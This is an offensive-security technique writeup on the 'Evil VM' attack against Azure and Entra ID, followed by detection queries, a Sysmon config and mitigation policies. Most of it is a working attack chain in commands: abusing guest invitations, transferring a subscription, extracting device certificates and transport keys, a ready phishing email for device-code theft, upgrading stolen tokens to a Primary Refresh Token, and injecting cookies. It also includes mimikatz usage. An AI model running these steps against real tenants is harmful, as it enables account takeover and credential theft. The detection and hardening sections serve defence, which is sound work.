| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-013 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Privilege Escalation, Defense Evasion, Persistence |
| Platforms | Hybrid/Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All Windows Server versions supporting Azure VM; All Entra ID tenants with default guest settings |
| Patched In | Mitigation via policy enforcement (no patch) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The “Evil VM” attack leverages default Azure VM configurations combined with Entra ID guest account privileges to escalate from a compromised guest account to full Entra ID administrator with device identity persistence. An attacker compromises a B2B guest account (or invites one they control), leverages default Entra ID guest invitation permissions, transfers a subscription into the target tenant, creates a Gen 1 Azure VM without TPM protection, and joins it to Entra ID. Once local admin on the VM, they extract the device certificate and transport key, then use device code phishing to steal a user’s Primary Refresh Token (PRT), upgrade it to a PRT, and authenticate as that user to any Entra ID service. If the phished user is a Global Admin, the attacker gains full tenant control. The attack succeeds entirely through default permissions and no explicit role assignment to the guest account is required.
Attack Surface: Azure Virtual Machines (Gen 1 images without TPM), Entra ID device registration, OAuth device code flow, Entra ID guest policies, subscription management, Primary Refresh Token storage.
Business Impact: Complete Entra ID tenant compromise, persistent access to all cloud services, potential on-premises Active Directory compromise via federation, and exfiltration of sensitive cloud data. Organizations that do not restrict guest invitations, subscription transfers, or enforce secure VM configurations face catastrophic risk of full infrastructure takeover through a single guest account compromise.
Technical Context: This attack typically takes 2-4 hours for an experienced attacker to execute, from initial guest compromise to Global Admin access. Detection is difficult because each step leverages legitimate Azure features (VM creation, device registration, OAuth device code flow, and PRT issuance). The attack generates some audit logs but these are often not correlated by security teams. The critical window for detection is during guest invitation, subscription transfer, and VM creation phases, where unusual patterns should be visible in Entra ID audit logs.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | v8 5.3 | Ensure that no custom subscription owner roles are created |
| CIS Benchmark | v8 7.3 | Ensure that "Guest users" are reviewed on a monthly basis |
| DISA STIG | AC-2(j) | Privileged access must be restricted and monitored |
| CISA SCuBA | identity.1.1 | Non-federated single sign-on (SSO) must be configured for authentication |
| NIST 800-53 | AC-2 (Account Management) | Multi-factor authentication is required for all administrative accounts |
| NIST 800-53 | AC-3 (Access Enforcement) | Enforce least-privilege access for subscription and resource creation |
| GDPR | Art. 32 | Security of Processing - Encryption and access controls for cloud infrastructure |
| DORA | Art. 9 | Protection and Prevention - ICT risk management measures for critical operations |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Access control, privilege management |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights - Control over administrative accounts |
| ISO 27005 | Guest Account Compromise via Device Identity Abuse | Risk of privilege escalation through VM-based device backdoors |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Supported Versions: Entra ID all versions; Azure all regions
Objective: Establish initial foothold as a B2B guest account in the target Entra ID tenant.
Command (Initial Compromise via Phishing):
# Victim user receives phishing email and clicks malicious link
# Attacker captures credentials or MFA bypass via helpdesk social engineering
$username = "attacker@gmail.com"
$password = "stolen_password"
# Sign in with captured credentials
Connect-MgGraph -Scopes "User.Read" -Credential $credential
Command (Or Invite Attacker-Controlled Guest):
# If you have initial guest access, invite a guest you control
Connect-MgGraph -Scopes "User.Invite.All"
$params = @{
invitedUserEmailAddress = "attacker-controlled@gmail.com"
inviteRedirectUrl = "https://portal.azure.com"
sendInvitationMessage = $false
}
New-MgInvitation -BodyParameter $params
Expected Output:
InvitedUserDisplayName : Attacker Account
InvitedUserEmailAddress: attacker-controlled@gmail.com
InvitationRedeemUrl : https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=...
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Set up an attacker-controlled Microsoft Account that becomes a subscription billing owner in the attacker’s home tenant, which will later be invited to the target tenant.
Command (On Attacker’s Machine):
# Create Microsoft Account at https://signup.microsoft.com
# Use credit card to activate (free $200 Azure credits)
# This account is now a subscription owner in attacker's home tenant
# Verify owner status in home tenant
Connect-AzAccount -Tenant "attacker-home-tenant-id"
Get-AzRoleAssignment -RoleDefinitionName "Owner"
Expected Output:
RoleDefinitionName DisplayName Scope
------------------ ----------- -----
Owner Attacker Account /subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Invite the attacker’s billing owner account into the target tenant, so they become a guest with subscription owner rights in the target tenant.
Command (From Compromised Guest in Target Tenant):
# Assume you have compromised guest in target tenant
$targetTenantId = "target-tenant-id"
$attackerBillingAccount = "attacker-billing@outlook.com"
Connect-MgGraph -TenantId $targetTenantId -Scopes "User.Invite.All"
$params = @{
invitedUserEmailAddress = $attackerBillingAccount
inviteRedirectUrl = "https://portal.azure.com"
sendInvitationMessage = $false
}
$invitation = New-MgInvitation -BodyParameter $params
Write-Host "Invitation Redeem URL: $($invitation.InviteRedeemUrl)"
Expected Output:
InvitedUserDisplayName : Attacker Billing Account
InvitedUserEmailAddress: attacker-billing@outlook.com
InvitationRedeemUrl : https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=...&tenant=target-tenant-id
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Move a subscription created in the attacker’s home tenant into the target tenant, making the guest account a subscription owner in the target tenant.
Command (From Home Tenant, Attacker’s Billing Account):
# Login to home tenant
$homeContext = Connect-AzAccount -Tenant "attacker-home-tenant-id"
# Get subscription to transfer
$subscription = Get-AzSubscription -SubscriptionName "Attacker-Sub-1"
$subscriptionId = $subscription.Id
# Change subscription directory (move to target tenant)
# This requires the subscription directory change via Azure portal or REST API
# PowerShell doesn't directly support this, so use Azure portal:
# 1. Go to https://portal.azure.com
# 2. Navigate to Cost Management + Billing
# 3. Select subscription
# 4. Click "Change subscription directory"
# 5. Select target tenant from dropdown
# 6. Confirm transfer
# Or via Azure REST API:
$tenantToken = (Get-AzAccessToken -TenantId "attacker-home-tenant-id").Token
$targetTenantId = "target-tenant-id"
$headers = @{
"Authorization" = "Bearer $tenantToken"
"Content-Type" = "application/json"
}
$body = @{
destination = "/subscriptions/$subscriptionId/providers/microsoft.billing/billingAccounts/$targetTenantId"
} | ConvertTo-Json
$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Subscription/alias/subscription-alias?api-version=2020-09-01"
Invoke-RestMethod -Uri $uri -Method POST -Headers $headers -Body $body
Manual Steps (Azure Portal):
Expected Output:
Directory changed successfully
Subscription is now owned by the transferred guest account in the target tenant
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Create a Windows Azure VM that is Entra ID-joined but without TPM protection, allowing easy extraction of device credentials.
Command (PowerShell - Create VM):
# Login to transferred subscription in target tenant
$context = Connect-AzAccount -TenantId "target-tenant-id" -Subscription "transferred-subscription-id"
# Set resource group and VM parameters
$resourceGroupName = "evil-vm-rg"
$vmName = "evil-vm-001"
$location = "East US"
$imageId = "UbuntuLTS" # or Windows image
# Create resource group
New-AzResourceGroup -Name $resourceGroupName -Location $location
# Create VM with Entra ID login extension
# Use Gen 1 image and Standard security (no TPM)
$imagePublisher = "MicrosoftWindowsServer"
$imageOffer = "WindowsServer"
$imageSku = "2022-Datacenter" # Gen 1 image
$imageVersion = "latest"
$cred = New-Object System.Management.Automation.PSCredential(
"localadmin",
(ConvertTo-SecureString "P@ssw0rd1234!" -AsPlainText -Force)
)
$vmConfig = New-AzVMConfig -VMName $vmName -VMSize "Standard_B2s"
$vmConfig = Set-AzVMOperatingSystem -VM $vmConfig -Windows -ComputerName $vmName -Credential $cred
$vmConfig = Set-AzVMSourceImage -VM $vmConfig -PublisherName $imagePublisher `
-Offer $imageOffer -Skus $imageSku -Version $imageVersion
# CRITICAL: Do NOT enable TPM
# Use Gen 1 VM (default) and Standard security type (not TrustedLaunch)
$vmConfig = Add-AzVMNetworkInterface -VM $vmConfig `
-Id (New-AzNetworkInterface -Name "nic1" -ResourceGroupName $resourceGroupName `
-Location $location -PublicIpAddressId (New-AzPublicIpAddress -Name "pip1" `
-ResourceGroupName $resourceGroupName -Location $location).Id).Id
# Create the VM
New-AzVM -ResourceGroupName $resourceGroupName -VM $vmConfig
# Install AAD Login extension to join VM to Entra ID
Set-AzVMExtension -ResourceGroupName $resourceGroupName -VMName $vmName `
-Name "AADLoginForWindows" `
-Publisher "Microsoft.Azure.ActiveDirectory" `
-ExtensionType "AADLoginForWindows" `
-TypeHandlerVersion "2.0"
Manual Steps (Azure Portal):
evil-vm-rgevil-vm-001East USExpected Output:
VM deployed successfully
Entra ID Login extension installed
Device should appear in Entra ID > Devices within 5-10 minutes
Verify Entra ID Join:
# RDP into the VM with local admin credentials
# On the VM, run:
dsregcmd /status
# Expected output:
# AzureAdJoined : YES
# AzureAdPrt : YES (may take time to acquire)
# DomainJoined : NO
# DeviceId : [UUID]
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Connect to the VM using the local admin credentials set during VM creation, and verify local admin privileges.
Command (From Attacker’s Machine):
# Get public IP of VM
$vm = Get-AzVM -ResourceGroupName "evil-vm-rg" -Name "evil-vm-001"
$publicIp = (Get-AzPublicIpAddress -ResourceGroupName "evil-vm-rg" -Name "pip1").IpAddress
# RDP to VM
mstsc /v:$publicIp
# When prompted, enter local admin credentials set during VM creation
# Username: localadmin
# Password: P@ssw0rd1234!
Manual Steps:
On the VM (Once Connected):
# Verify local admin privileges
whoami /groups
# Should show: Group Name: BUILTIN\Administrators, Enabled
# Verify Entra ID join status
dsregcmd /status
# AzureAdJoined: YES
# AzureAdPrt: YES (if user who joined is logged in)
# Verify no TPM protection
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\TPM" -Name Start
# Should return Start value of 4 (disabled) or not present
Expected Output:
Entra AD Joined: YES
Device ID: [UUID]
Local admin privileges: Confirmed
TPM Status: Disabled/Not Present
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Extract the Entra ID device certificate and transport key from the VM’s registry, allowing the attacker to impersonate the device from any machine.
Command (On the VM, as Local Admin):
# Option 1: Use AADInternals (Recommended)
Install-Module AADInternals -Force
Import-Module AADInternals
# Export device certificate and transport key
Export-AADIntLocalDeviceCertificate -Path "C:\temp\device_cert.pfx"
Export-AADIntLocalDeviceTransportKey -Path "C:\temp\device_transport_key.bin"
# Retrieve from registry directly (Alternative, if AADInternals fails)
# Device certificate is stored in registry:
$certPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CDPSvc\Accounts\{[DEVICE_ID]}"
Get-ItemProperty -Path $certPath -Name "Certificate"
# Or use PowerShell to directly read registry
$tenantId = (Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\Microsoft Entra ID" -ErrorAction SilentlyContinue).TenantId
$deviceId = (dsregcmd /status | Select-String "DeviceId").ToString().Split(":")[1].Trim()
# Extract via WMI
Get-WmiObject -Namespace "root\cimv2" -Class "Win32_OperatingSystem" | Select-Object -Property SerialNumber
Command (To Transfer Files to Attacker Machine):
# Copy certificates to C:\temp for exfiltration
# Use SMB file share, or PowerShell Remoting to copy to attacker machine
# If running from attacker machine with credentials:
$vmIp = "[VM_PUBLIC_IP]"
$cred = New-Object System.Management.Automation.PSCredential(
"localadmin",
(ConvertTo-SecureString "P@ssw0rd1234!" -AsPlainText -Force)
)
# Create PS session
$session = New-PSSession -ComputerName $vmIp -Credential $cred
# Copy files
Copy-Item -FromSession $session -Path "C:\temp\device_cert.pfx" -Destination "C:\temp\"
Copy-Item -FromSession $session -Path "C:\temp\device_transport_key.bin" -Destination "C:\temp\"
Expected Output:
Device certificate exported successfully
Transport key exported successfully
Files copied to attacker machine: C:\temp\device_cert.pfx, C:\temp\device_transport_key.bin
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Entra ID all versions; All users
Objective: Identify high-value targets (Global Admins, Privileged Role Admins) to phish for PRT tokens.
Command (From Subscription Owner Attacker Account):
# Login to the subscription owner account (attacker's guest)
$context = Connect-AzAccount -TenantId "target-tenant-id" -Subscription "transferred-subscription-id"
# Get RBAC role assignments on the subscription
Get-AzRoleAssignment -Scope "/subscriptions/$((Get-AzContext).Subscription.Id)"
# Or get root management group assignments (admins are often here)
$managementGroups = Get-AzManagementGroup -ErrorAction SilentlyContinue
foreach ($mg in $managementGroups) {
Get-AzRoleAssignment -Scope $mg.Id | Select-Object DisplayName, RoleDefinitionName, ObjectId
}
# Also check Entra ID for Global Admins
Connect-MgGraph -Scopes "DirectoryRole.Read.All" -TenantId "target-tenant-id"
# Get Global Admin role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# Get members of Global Admin role
Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id | Select-Object DisplayName, Mail
Expected Output:
DisplayName Mail RoleDefinitionName
----------- ---- ------------------
John Admin john.admin@company.com Global Administrator
Jane Privileged jane.p@company.com Privileged Role Administrator
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Send phishing email to identified admin targets with malicious device code flow link.
Attack Flow Overview:
Command (Attacker’s Machine - Initiate Device Code Flow):
# Install ROADtools if not present
pip install roadtools
# Or use AADInternals method:
Import-Module AADInternals
# Method 1: Using ROADtools
# roadtx uses device code flow to request tokens
# First, download ROADtools or use Azure CLI device login flow
# Method 2: Using Azure CLI (Built-in Device Code Flow)
az login --use-device-code --allow-no-subscriptions
# Output will be:
# To sign in, use a web browser to open the page https://microsoft.com/devicelogin
# and enter the code XXXXXXXXX to authenticate.
# Save the device code
$deviceCode = "XXXXXXXXX" # From the output above
Command (Create Phishing Email):
<!-- Phishing Email Template -->
Subject: ACTION REQUIRED: Verify Your Microsoft Account Access
Body:
Hello [Admin Name],
Your Microsoft account requires verification due to security policy updates.
Please verify your account immediately by clicking the link below:
https://microsoft.com/devicelogin
Enter this code when prompted: XXXXXXXXX
This verification is required to maintain access to your company resources.
Thank you,
IT Security Team
Expected Output (After Admin Clicks Link and Signs In):
User signed in successfully
Refresh token acquired: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6InBGYUdqQ...
PRT candidate acquired
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Use the extracted device certificate and transport key from the evil VM, combined with the refresh token from phished admin, to request a Primary Refresh Token.
Command (Attacker’s Machine):
# Use ROADtools to upgrade refresh token to PRT
# Requires: extracted device certificate, device transport key, and refresh token from phishing
# Method 1: Using ROADtools (roadtx)
# roadtx prtenrich: Requests PRT based on refresh token and device identity
# First, export the device certificate and key from VM (from Step 7 above)
# Files: device_cert.pfx, device_transport_key.bin
# Initialize roadtx with device identity
# roadtx prtenrich -r <refresh_token> -c <device_cert.pfx> -k <device_transport_key.bin>
# Or use interactive mode:
roadtx prtenrich --interactive
# This will:
# 1. Prompt for refresh token (from phished admin)
# 2. Use extracted device cert and transport key as proof of possession
# 3. Send request to Entra ID with: device_cert, transport_key, refresh_token
# 4. Entra ID validates device identity and issues new PRT
# Method 2: Using AADInternals (PowerShell alternative)
Import-Module AADInternals
# Get access token using refresh token
$token = Get-AADIntAccessTokenUsingRefreshToken -RefreshToken "refresh_token_from_phishing"
# Request PRT using device identity
New-AADIntPrimaryRefreshToken -RefreshToken "refresh_token_from_phishing" `
-DeviceCertificate "C:\temp\device_cert.pfx" `
-DeviceTransportKey "C:\temp\device_transport_key.bin"
# Output: PRT is returned and can be used for future authentication
Expected Output:
Primary Refresh Token (PRT) successfully acquired
PRT: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6InBGYUdqQ...
PRT is valid for 14 days (can be renewed up to 90 days)
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Use the stolen PRT to gain full access to all cloud services as the compromised admin.
Command (Attacker’s Machine - Use PRT):
# Method 1: Use PRT with browser (Edge/Chrome)
# PRT can be used in a browser via X-Ms-RefreshTokenCredential header or cookie injection
# Install PRT into browser using roadtx
roadtx browserprtauth -prt "path_to_prt_file" -c "device_cert.pfx" -k "device_transport_key.bin"
# Or manually inject PRT cookie:
# 1. Open Edge on attacker machine
# 2. Navigate to https://portal.azure.com
# 3. Open DevTools (F12) → Console
# 4. Inject PRT cookie: document.cookie = "X-Ms-RefreshTokenCredential=<PRT>"
# 5. Refresh page and should be authenticated as admin
# Method 2: Use access tokens for API calls
# PRT is used to request access tokens for specific services
$prt = Get-Content "C:\temp\prt.token" # Saved PRT from previous step
# Get access token for Azure Management API
roadtx token -prt $prt -r "https://management.azure.com/"
# Output: Access token that can be used with Azure CLI
# az account get-access-token --resource "https://management.azure.com/" --header "Authorization: Bearer <token>"
# Method 3: Sign in with stolen PRT (Most Stealthy)
# Some tools like ROADtools support direct authentication with PRT
roadtx browserprtauth -prt $prt
# This opens a browser and authenticates using the PRT
# Result: Attacker is now logged in as the phished admin
Manual Steps (Attacker’s Machine):
document.cookie = "X-MS-RefreshTokenCredential=<STOLEN_PRT>; Path=/; Secure; SameSite=None";
Expected Output:
Authenticated as: john.admin@company.com (Global Administrator)
Access Level: Full Entra ID, Azure subscriptions, Microsoft 365
Capabilities: Create users, assign roles, access all data
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Invoke-AtomicTest T1078.004 -TestNumbers 1
Invoke-AtomicTest T1078.004 -TestNumbers 1 -Cleanup
Reference: Atomic Red Team - T1078.004
Version: 0.9.8+ (latest) Minimum Version: 0.8.0 Supported Platforms: Windows PowerShell 5.0+, PowerShell 7.0+
Version-Specific Notes:
Installation:
Install-Module AADInternals -Force -Scope CurrentUser
Import-Module AADInternals
Update-Module AADInternals -Force
Usage (Export Device Certificate):
Export-AADIntLocalDeviceCertificate -Path "C:\temp\device.pfx"
Export-AADIntLocalDeviceTransportKey -Path "C:\temp\transport_key.bin"
Version: 1.0.0+ (latest) Minimum Version: 0.9.0 Supported Platforms: Linux, macOS, Windows with Python 3.7+
Version-Specific Notes:
Installation:
pip install roadtools
# Or from GitHub:
git clone https://github.com/dirkjanm/ROADtools
cd ROADtools
pip install .
Usage (Device Code Phishing):
roadtx prtenrich --interactive
# Follow prompts to enter refresh token and device certificate
Usage (PRT to Access Token):
roadtx token -prt <path_to_prt> -r https://management.azure.com/
Version: 2.2.0+ (latest) Minimum Version: 2.1.0 Supported Platforms: Windows
Version-Specific Notes:
Installation:
# Download from releases page
# Or build from source
git clone https://github.com/gentilkiwi/mimikatz
cd mimikatz
cmake -B build && cmake --build build --config Release
Usage (Extract PRT from Memory):
privilege::debug
token::list /csv
dpapi::cache
Rule Configuration:
KQL Query:
// Detect guest accounts creating Gen 1 VMs without TPM
let guestUsers = AuditLogs
| where OperationName == "Add user"
| where tostring(InitiatedBy.user.userType) == "Guest"
| project GuestObjectId = tostring(TargetResources[0].id), GuestUPN = tostring(InitiatedBy.user.userPrincipalName);
AzureActivity
| where OperationName contains "Microsoft.Compute/virtualMachines/write"
| where Caller in (guestUsers)
| where Properties contains "gen1" or Properties contains "Standard"
| project TimeGenerated, Caller, OperationName, ResourceGroup, Subscription_s, Properties
What This Detects:
Manual Configuration Steps (Azure Portal):
Guest Account Creating Gen 1 VMs without TPMHigh15 minutes2 hoursCaller, ResourceGroupRule Configuration:
KQL Query:
// Detect AADInternals or credential dumping tools
union isfuzzy=true
(
SecurityEvent
| where EventID == 3 // Process creation
| where (NewProcessName contains "powershell" or NewProcessName contains "pwsh")
| where CommandLine contains "AADInternals" or CommandLine contains "Export-AADIntLocal"
or CommandLine contains "Get-AADIntDevice" or CommandLine contains "Mimikatz"
),
(
DeviceEvents
| where ActionType == "ProcessCreated"
| where FileName in ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine contains "AADInternals" or ProcessCommandLine contains "Export-AADIntLocal"
or ProcessCommandLine contains "Mimikatz" or ProcessCommandLine contains "lsass"
)
| project TimeGenerated, Computer, FileName, ProcessCommandLine, InitiatingProcessAccountName
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Credential Dumping Tool ExecutionCritical5 minutes1 hourComputer, InitiatingProcessAccountNameRule Configuration:
KQL Query:
// Detect subscriptions transferred to or created by guest accounts
let recentGuests = AuditLogs
| where OperationName == "Invite user" or OperationName == "Add user"
| where tostring(InitiatedBy.user.userType) == "Guest"
| project GuestUPN = tostring(TargetResources[0].userPrincipalName), TimeAdded = TimeGenerated;
AzureActivity
| where OperationName contains "CreateSubscription" or OperationName contains "Transfer"
| where Category == "Administrative"
| where Caller in (recentGuests)
| project TimeGenerated, Caller, OperationName, CorrelationId, Subscription_s
What This Detects:
Manual Configuration Steps (Azure Portal):
Guest Account Creating or Transferring SubscriptionsCritical30 minutes7 daysCallerRule Configuration:
KQL Query:
// Detect device code phishing attempts
// Signature: RefreshToken sign-in followed by access token request from different device
SigninLogs
| where AuthenticationMethodsUsed contains "refreshToken"
| where AppDisplayName contains "Device Registration Service" or AppDisplayName contains "Microsoft Authentication Broker"
| where Status.additionalDetails contains "MFA satisfied" or Status.additionalDetails contains "PRT"
| join kind=inner
(
SigninLogs
| where TimeGenerated > ago(30m)
| where UserPrincipalName contains "@"
| where ClientAppUsed != "Other clients" and ClientAppUsed != "Browser"
| where ResourceDisplayName contains "Azure" or ResourceDisplayName contains "Office 365"
)
on UserPrincipalName
| where IPAddress_1 != IPAddress
| project TimeGenerated, UserPrincipalName, ClientAppUsed, AppDisplayName, IPAddress, ResourceDisplayName
What This Detects:
Manual Configuration Steps (Azure Portal):
Possible Device Code Phishing AttackHigh5 minutes2 hoursUserPrincipalNameEvent ID: 4688 (Process Creation)
Manual Configuration Steps (Group Policy):
gpupdate /force on all target machinesManual Configuration Steps (Local Policy - Server 2022+):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableManual Configuration Steps (PowerShell):
# Enable process creation audit
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
# Verify
auditpol /get /subcategory:"Process Creation"
Event ID: 5156 (Network Connection Blocked/Allowed)
Manual Configuration Steps:
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016+, Windows 10/11
<!-- Sysmon Configuration for Evil VM Detection -->
<Sysmon schemaversion="4.82">
<!-- Detect AADInternals and Mimikatz execution -->
<RuleGroup name="Detect-CredDump" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="contains">powershell</Image>
<CommandLine condition="contains">AADInternals</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">powershell</Image>
<CommandLine condition="contains">Export-AADIntLocal</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">cmd</Image>
<CommandLine condition="contains">mimikatz</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Detect registry access to device certificates -->
<RuleGroup name="Detect-DeviceCertRegAccess" groupRelation="or">
<RegistryEvent onmatch="include">
<TargetObject condition="contains">HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CDPSvc</TargetObject>
<EventType>SetValue</EventType>
</RegistryEvent>
</RuleGroup>
<!-- Detect network connections to Azure/Entra endpoints -->
<RuleGroup name="Detect-AzureConnections" groupRelation="or">
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains">management.azure.com</DestinationHostname>
<DestinationPort condition="is">443</DestinationPort>
</NetworkConnect>
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains">graph.microsoft.com</DestinationHostname>
<DestinationPort condition="is">443</DestinationPort>
</NetworkConnect>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Suspicious role assignment detected”
Alert Name: “Gen 1 Virtual Machine Created Without Disk Encryption”
Alert Name: “Subscription Directory Changed”
Manual Configuration Steps (Enable Defender for Cloud):
Manual Configuration Steps (Create Custom Alert):
Search-UnifiedAuditLog -Operations "Invite user","Confirm invited user","Add user to group","Assign role" `
-UserType Guest -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date)
Manual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
PowerShell Alternative (Continuous Monitoring):
# Connect to Exchange Online
Connect-ExchangeOnline
# Search for guest invitations in last 7 days
$auditLogs = Search-UnifiedAuditLog -Operations "Invite user" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date)
# Export to CSV
$auditLogs | Export-Csv -Path "C:\Audit\guest_invitations.csv" -NoTypeInformation
# Alert on high volume of guest invitations (> 10 in 24 hours)
if ($auditLogs.Count -gt 10) {
Write-Warning "Unusual number of guest invitations detected: $($auditLogs.Count)"
}
Action 1: Disable Guest Invitation Rights
Applies To Versions: All Entra ID tenants
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Directory.ReadWrite.All"
Update-MgPolicyAuthorizationPolicy -GuestUserRoleId "10dae51f-b6af-4016-8d66-8c2a99b929b3" `
-AllowInvitesFrom "adminsAndGuestInviters" `
-AllowUserConsentForRiskyApps $false
Verification Command:
Get-MgPolicyAuthorizationPolicy | Select-Object AllowInvitesFrom, GuestUserRoleId
Expected Output (If Secure):
AllowInvitesFrom: adminsAndGuestInviters
GuestUserRoleId: 10dae51f-b6af-4016-8d66-8c2a99b929b3
Action 2: Restrict Subscription Transfer to Directory
Applies To Versions: All Azure subscriptions
Manual Steps (Azure Portal):
Manual Steps (PowerShell - Azure Policy):
# Create policy to block subscription transfers
$policyDefinition = @{
name = "DenySubscriptionTransfer"
properties = @{
description = "Deny transfers of subscriptions between directories"
mode = "All"
policyRule = @{
if = @{
allOf = @(
@{
field = "type"
equals = "Microsoft.Subscription/subscriptions/changeTenant/action"
}
)
}
then = @{
effect = "Deny"
}
}
}
}
# Apply at root management group
New-AzPolicyDefinition -Name "DenySubscriptionTransfer" -Policy ($policyDefinition.properties | ConvertTo-Json)
New-AzPolicyAssignment -Name "DenySubscriptionTransfer" -PolicyDefinition $policyDefinition -Scope "/subscriptions/*"
Verification Command:
Get-AzPolicyAssignment | Where-Object {$_.Name -contains "DenySubscription"}
Action 3: Block Gen 1 VM Creation - Enforce Gen 2 Only
Applies To Versions: All Azure subscriptions
Manual Steps (Azure Policy - Root Management Group):
Enforce Generation 2 Virtual Machines{
"mode": "All",
"policyRule": {
"if": {
"allOf": [
{
"field": "type",
"equals": "Microsoft.Compute/virtualMachines"
},
{
"field": "Microsoft.Compute/virtualMachines/storageProfile.osDisk.managedDisk.id",
"exists": "true"
},
{
"not": {
"field": "Microsoft.Compute/virtualMachines/storageProfile.imageReference.id",
"contains": "gen2"
}
}
]
},
"then": {
"effect": "Deny"
}
}
}
Manual Steps (PowerShell):
# Create policy definition
$policy = @{
DisplayName = "Enforce Generation 2 Virtual Machines"
PolicyRule = @{
if = @{
allOf = @(
@{ field = "type"; equals = "Microsoft.Compute/virtualMachines" },
@{ not = @{ field = "Microsoft.Compute/virtualMachines/storageProfile.imageReference.id"; contains = "gen2" } }
)
}
then = @{ effect = "Deny" }
}
}
New-AzPolicyDefinition -Name "EnforceGen2VMs" -DisplayName "Enforce Gen 2 VMs" -Policy ($policy | ConvertTo-Json -Depth 10)
# Assign to root management group (affects all subscriptions)
New-AzPolicyAssignment -Name "EnforceGen2VMs" -DisplayName "Enforce Gen 2 VMs" `
-Scope "/subscriptions/*" -PolicyDefinition $policy
Verification Command:
# Try to create Gen 1 VM - should fail with policy error
New-AzVM -ResourceGroupName "test-rg" -Name "test-vm" -Image "UbuntuLTS"
# Expected: Error from Azure Policy - "Disallowed by policy"
Action 4: Enable Conditional Access to Block Unmanaged Devices
Manual Steps (Azure Portal):
Block Azure Admin Access from Unmanaged DevicesPowerShell Alternative:
# Create Conditional Access policy via Graph API
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
$params = @{
displayName = "Block Azure Admin Access from Unmanaged Devices"
state = "enabled"
conditions = @{
applications = @{
includeApplications = @("797f4846-ba00-4fd7-ba43-dac1f8f63013") # Azure Management API
}
users = @{
includeUsers = @("All")
}
deviceStates = @{
excludeDeviceStates = @("Compliant")
}
}
grantControls = @{
operator = "AND"
builtInControls = @("compliantDevice", "hybridAzureADJoinedDevice")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $params
Action: Enable Audit Logging for Guest Invitations and Role Assignments
Manual Steps (Azure Portal):
PowerShell Setup:
# Enable auditing for guest operations
Connect-ExchangeOnline
Set-OrganizationConfig -AuditDisabled $false
Action: Implement Device Compliance Policy to Enforce TPM
Manual Steps (Intune - If Org Uses):
Enforce TPM and Secure BootConditional Access: Require MFA for All Guest Sign-Ins
Manual Steps (Azure Portal):
Require MFA for GuestsRBAC: Remove Global Admin from Non-Privileged Accounts
Manual Steps (Azure Portal):
PowerShell Alternative:
# Remove Global Admin role from specific user
$userId = (Get-MgUser -Filter "mail eq 'unnecessary.admin@company.com'").Id
Remove-MgDirectoryRoleMember -DirectoryRoleId "62e90394-69f5-4237-9190-012177145e10" -DirectoryObjectId $userId
Policy Config: Disable Device Registration for Non-Admins
Manual Steps (Azure Portal):
PowerShell:
Update-MgDeviceRegistrationPolicy -UserExperienceSettings @{
IsScheduledDeleteEnabled = $true
DeleteDevicesOlderThanDays = 30
}
# Check that mitigations are in place
Connect-MgGraph -Scopes "Directory.Read.All", "Policy.Read.All"
# 1. Verify guest invitation restrictions
Write-Host "=== Guest Invitation Restrictions ==="
(Get-MgPolicyAuthorizationPolicy).AllowInvitesFrom
# 2. Verify device registration restrictions
Write-Host "=== Device Registration Restrictions ==="
